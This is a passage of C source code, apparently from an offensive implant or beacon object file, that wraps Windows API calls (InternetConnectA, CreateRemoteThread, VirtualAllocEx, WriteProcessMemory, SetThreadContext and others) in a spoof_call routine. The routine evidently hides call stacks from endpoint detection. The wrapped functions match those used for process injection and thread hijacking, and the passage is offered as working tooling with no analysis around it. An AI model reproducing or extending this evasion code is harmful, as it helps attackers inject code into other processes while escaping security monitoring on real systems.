59 | FUNCTION_CALL call = { 0 }; 60 | 61 | call.ptr = ( PVOID ) ( WININET$InternetConnectA ); 62 | call.argc = 8; 63 | call.args [ 0 ] = spoof_arg ( hInternet ); 64 | call.args [ 1 ] = spoof_arg ( lpszServerName ); 65 | call.args [ 2 ] = spoof_arg ( nServerPort ); 66 | call.args [ 3 ] = spoof_arg ( lpszUserName ); 67 | call.args [ 4 ] = spoof_arg ( lpszPassword ); 68 | call.args [ 5 ] = spoof_arg ( dwService ); 69 | call.args [ 6 ] = spoof_arg ( dwFlags ); 70 | call.args [ 7 ] = spoof_arg ( dwContext ); 71 | 72 | return ( HINTERNET ) spoof_call ( &call ); 73 | } 74 | 75 | BOOL WINAPI _CloseHandle ( HANDLE hObject ) 76 | { 77 | FUNCTION_CALL call = { 0 }; 78 | 79 | call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); 80 | call.argc = 1; 81 | 82 | call.args [ 0 ] = spoof_arg ( hObject ); 83 | 84 | return ( BOOL ) spoof_call ( &call ); 85 | } 86 | 87 | HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) 88 | { 89 | FUNCTION_CALL call = { 0 }; 90 | 91 | call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA ); 92 | call.argc = 6; 93 | 94 | call.args [ 0 ] = spoof_arg ( hFile ); 95 | call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes ); 96 | call.args [ 2 ] = spoof_arg ( flProtect ); 97 | call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh ); 98 | call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow ); 99 | call.args [ 5 ] = spoof_arg ( lpName ); 100 | 101 | return ( HANDLE ) spoof_call ( &call ); 102 | } 103 | 104 | BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ) 105 | { 106 | FUNCTION_CALL call = { 0 }; 107 | 108 | call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA ); 109 | call.argc = 10; 110 | 111 | call.args [ 0 ] = spoof_arg ( lpApplicationName ); 112 | call.args [ 1 ] = spoof_arg ( lpCommandLine ); 113 | call.args [ 2 ] = spoof_arg ( lpProcessAttributes ); 114 | call.args [ 3 ] = spoof_arg ( lpThreadAttributes ); 115 | call.args [ 4 ] = spoof_arg ( bInheritHandles ); 116 | call.args [ 5 ] = spoof_arg ( dwCreationFlags ); 117 | call.args [ 6 ] = spoof_arg ( lpEnvironment ); 118 | call.args [ 7 ] = spoof_arg ( lpCurrentDirectory ); 119 | call.args [ 8 ] = spoof_arg ( lpStartupInfo ); 120 | call.args [ 9 ] = spoof_arg ( lpProcessInformation ); 121 | 122 | return ( BOOL ) spoof_call ( &call ); 123 | } 124 | 125 | HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) 126 | { 127 | FUNCTION_CALL call = { 0 }; 128 | 129 | call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread ); 130 | call.argc = 7; 131 | 132 | call.args [ 0 ] = spoof_arg ( hProcess ); 133 | call.args [ 1 ] = spoof_arg ( lpThreadAttributes ); 134 | call.args [ 2 ] = spoof_arg ( dwStackSize ); 135 | call.args [ 3 ] = spoof_arg ( lpStartAddress ); 136 | call.args [ 4 ] = spoof_arg ( lpParameter ); 137 | call.args [ 5 ] = spoof_arg ( dwCreationFlags ); 138 | call.args [ 6 ] = spoof_arg ( lpThreadId ); 139 | 140 | return ( HANDLE ) spoof_call ( &call ); 141 | } 142 | 143 | HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) 144 | { 145 | FUNCTION_CALL call = { 0 }; 146 | 147 | call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); 148 | call.argc = 6; 149 | 150 | call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); 151 | call.args [ 1 ] = spoof_arg ( dwStackSize ); 152 | call.args [ 2 ] = spoof_arg ( lpStartAddress ); 153 | call.args [ 3 ] = spoof_arg ( lpParameter ); 154 | call.args [ 4 ] = spoof_arg ( dwCreationFlags ); 155 | call.args [ 5 ] = spoof_arg ( lpThreadId ); 156 | 157 | return ( HANDLE ) spoof_call ( &call ); 158 | } 159 | 160 | HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) 161 | { 162 | FUNCTION_CALL call = { 0 }; 163 | 164 | call.ptr = ( PVOID ) ( OLE32$CoCreateInstance ); 165 | call.argc = 5; 166 | 167 | call.args [ 0 ] = spoof_arg ( rclsid ); 168 | call.args [ 1 ] = spoof_arg ( pUnkOuter ); 169 | call.args [ 2 ] = spoof_arg ( dwClsContext ); 170 | call.args [ 3 ] = spoof_arg ( riid ); 171 | call.args [ 4 ] = spoof_arg ( ppv ); 172 | 173 | return ( HRESULT ) spoof_call ( &call ); 174 | } 175 | 176 | BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions ) 177 | { 178 | FUNCTION_CALL call = { 0 }; 179 | 180 | call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); 181 | call.argc = 7; 182 | 183 | call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); 184 | call.args [ 1 ] = spoof_arg ( hSourceHandle ); 185 | call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); 186 | call.args [ 3 ] = spoof_arg ( lpTargetHandle ); 187 | call.args [ 4 ] = spoof_arg ( dwDesiredAccess ); 188 | call.args [ 5 ] = spoof_arg ( bInheritHandle ); 189 | call.args [ 6 ] = spoof_arg ( dwOptions ); 190 | 191 | return ( BOOL ) spoof_call ( &call ); 192 | } 193 | 194 | HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) 195 | { 196 | FUNCTION_CALL call = { 0 }; 197 | 198 | call.ptr = ( PVOID ) ( LoadLibraryA ); 199 | call.argc = 1; 200 | 201 | call.args [ 0 ] = spoof_arg ( lpLibFileName ); 202 | 203 | return ( HMODULE ) spoof_call ( &call ); 204 | } 205 | 206 | BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) 207 | { 208 | FUNCTION_CALL call = { 0 }; 209 | 210 | call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); 211 | call.argc = 2; 212 | 213 | call.args [ 0 ] = spoof_arg ( hThread ); 214 | call.args [ 1 ] = spoof_arg ( lpContext ); 215 | 216 | return ( BOOL ) spoof_call ( &call ); 217 | } 218 | 219 | LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) 220 | { 221 | FUNCTION_CALL call = { 0 }; 222 | 223 | call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile ); 224 | call.argc = 5; 225 | 226 | call.args [ 0 ] = spoof_arg ( hFileMappingObject ); 227 | call.args [ 1 ] = spoof_arg ( dwDesiredAccess ); 228 | call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh ); 229 | call.args [ 3 ] = spoof_arg ( dwFileOffsetLow ); 230 | call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap ); 231 | 232 | return ( LPVOID ) spoof_call ( &call ); 233 | } 234 | 235 | HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) 236 | { 237 | FUNCTION_CALL call = { 0 }; 238 | 239 | call.ptr = ( PVOID ) ( KERNEL32$OpenProcess ); 240 | call.argc = 3; 241 | 242 | call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); 243 | call.args [ 1 ] = spoof_arg ( bInheritHandle ); 244 | call.args [ 2 ] = spoof_arg ( dwProcessId ); 245 | 246 | return ( HANDLE ) spoof_call ( &call ); 247 | } 248 | 249 | HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ) 250 | { 251 | FUNCTION_CALL call = { 0 }; 252 | 253 | call.ptr = ( PVOID ) ( KERNEL32$OpenThread ); 254 | call.argc = 3; 255 | 256 | call.args [ 0 ] = spoof_arg ( dwDesiredAccess ); 257 | call.args [ 1 ] = spoof_arg ( bInheritHandle ); 258 | call.args [ 2 ] = spoof_arg ( dwThreadId ); 259 | 260 | return ( HANDLE ) spoof_call ( &call ); 261 | } 262 | 263 | BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead ) 264 | { 265 | FUNCTION_CALL call = { 0 }; 266 | 267 | call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory ); 268 | call.argc = 5; 269 | 270 | call.args [ 0 ] = spoof_arg ( hProcess ); 271 | call.args [ 1 ] = spoof_arg ( lpBaseAddress ); 272 | call.args [ 2 ] = spoof_arg ( lpBuffer ); 273 | call.args [ 3 ] = spoof_arg ( nSize ); 274 | call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead ); 275 | 276 | return ( BOOL ) spoof_call ( &call ); 277 | } 278 | 279 | DWORD WINAPI _ResumeThread ( HANDLE hThread ) 280 | { 281 | FUNCTION_CALL call = { 0 }; 282 | 283 | call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); 284 | call.argc = 1; 285 | 286 | call.args [ 0 ] = spoof_arg ( hThread ); 287 | 288 | return ( DWORD ) spoof_call ( &call ); 289 | } 290 | 291 | BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) 292 | { 293 | FUNCTION_CALL call = { 0 }; 294 | 295 | call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); 296 | call.argc = 2; 297 | 298 | call.args [ 0 ] = spoof_arg ( hThread ); 299 | call.args [ 1 ] = spoof_arg ( lpContext ); 300 | 301 | return ( BOOL ) spoof_call ( &call ); 302 | } 303 | 304 | BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) 305 | { 306 | FUNCTION_CALL call = { 0 }; 307 | 308 | call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile ); 309 | call.argc = 1; 310 | 311 | call.args [ 0 ] = spoof_arg ( lpBaseAddress ); 312 | 313 | return ( BOOL ) spoof_call ( &call ); 314 | } 315 | 316 | LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) 317 | { 318 | FUNCTION_CALL call = { 0 }; 319 | 320 | call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); 321 | call.argc = 4; 322 | 323 | call.args [ 0 ] = spoof_arg ( lpAddress ); 324 | call.args [ 1 ] = spoof_arg ( dwSize ); 325 | call.args [ 2 ] = spoof_arg ( flAllocationType ); 326 | call.args [ 3 ] = spoof_arg ( flProtect ); 327 | 328 | return ( LPVOID ) spoof_call ( &call ); 329 | } 330 | 331 | LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) 332 | { 333 | FUNCTION_CALL call = { 0 }; 334 | 335 | call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx ); 336 | call.argc = 5; 337 | 338 | call.args [ 0 ] = spoof_arg ( hProcess ); 339 | call.args [ 1 ] = spoof_arg ( lpAddress ); 340 | call.args [ 2 ] = spoof_arg ( dwSize ); 341 | call.args [ 3 ] = spoof_arg ( flAllocationType ); 342 | call.args [ 4 ] = spoof_arg ( flProtect ); 343 | 344 | return ( LPVOID ) spoof_call ( &call ); 345 | } 346 | 347 | BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) 348 | { 349 | FUNCTION_CALL call = { 0 }; 350 | 351 | call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); 352 | call.argc = 3; 353 | 354 | call.args [ 0 ] = spoof_arg ( lpAddress ); 355 | call.args [ 1 ] = spoof_arg ( dwSize ); 356 | call.args [ 2 ] = spoof_arg ( dwFreeType ); 357 | 358 | return ( BOOL ) spoof_call ( &call ); 359 | } 360 | 361 | BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) 362 | { 363 | FUNCTION_CALL call = { 0 }; 364 | 365 | call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); 366 | call.argc = 4; 367 | 368 | call.args [ 0 ] = spoof_arg ( lpAddress ); 369 | call.args [ 1 ] = spoof_arg ( dwSize ); 370 | call.args [ 2 ] = spoof_arg ( flNewProtect ); 371 | call.args [ 3 ] = spoof_arg ( lpflOldProtect ); 372 | 373 | return ( BOOL ) spoof_call ( &call ); 374 | } 375 | 376 | BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) 377 | { 378 | FUNCTION_CALL call = { 0 }; 379 | 380 | call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx ); 381 | call.argc = 5; 382 | 383 | call.args [ 0 ] = spoof_arg ( hProcess ); 384 | call.args [ 1 ] = spoof_arg ( lpAddress ); 385 | call.args [ 2 ] = spoof_arg ( dwSize ); 386 | call.args [ 3 ] = spoof_arg ( flNewProtect ); 387 | call.args [ 4 ] = spoof_arg ( lpflOldProtect ); 388 | 389 | return ( BOOL ) spoof_call ( &call ); 390 | } 391 | 392 | SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength ) 393 | { 394 | FUNCTION_CALL call = { 0 }; 395 | 396 | call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); 397 | call.argc = 3; 398 | 399 | call.args [ 0 ] = spoof_arg ( lpAddress ); 400 | call.args [ 1 ] = spoof_arg ( lpBuffer ); 401 | call.args [ 2 ] = spoof_arg ( dwLength ); 402 | 403 | return ( SIZE_T ) spoof_call ( &call ); 404 | } 405 | 406 | BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) 407 | { 408 | FUNCTION_CALL call = { 0 }; 409 | 410 | call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory ); 411 | call.argc = 5; 412 | 413 | call.args [ 0 ] = spoof_arg ( hProcess ); 414 | call.args [ 1 ] = spoof_arg ( lpBaseAddress ); 415 | call.args [ 2 ] = spoof_arg ( lpBuffer ); 416 | call.args [ 3 ] = spoof_arg ( nSize ); 417 | call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten ); 418 | 419 | return ( BOOL ) spoof_call ( &call ); 420 | } 421 | --------------------------------------------------------------------------------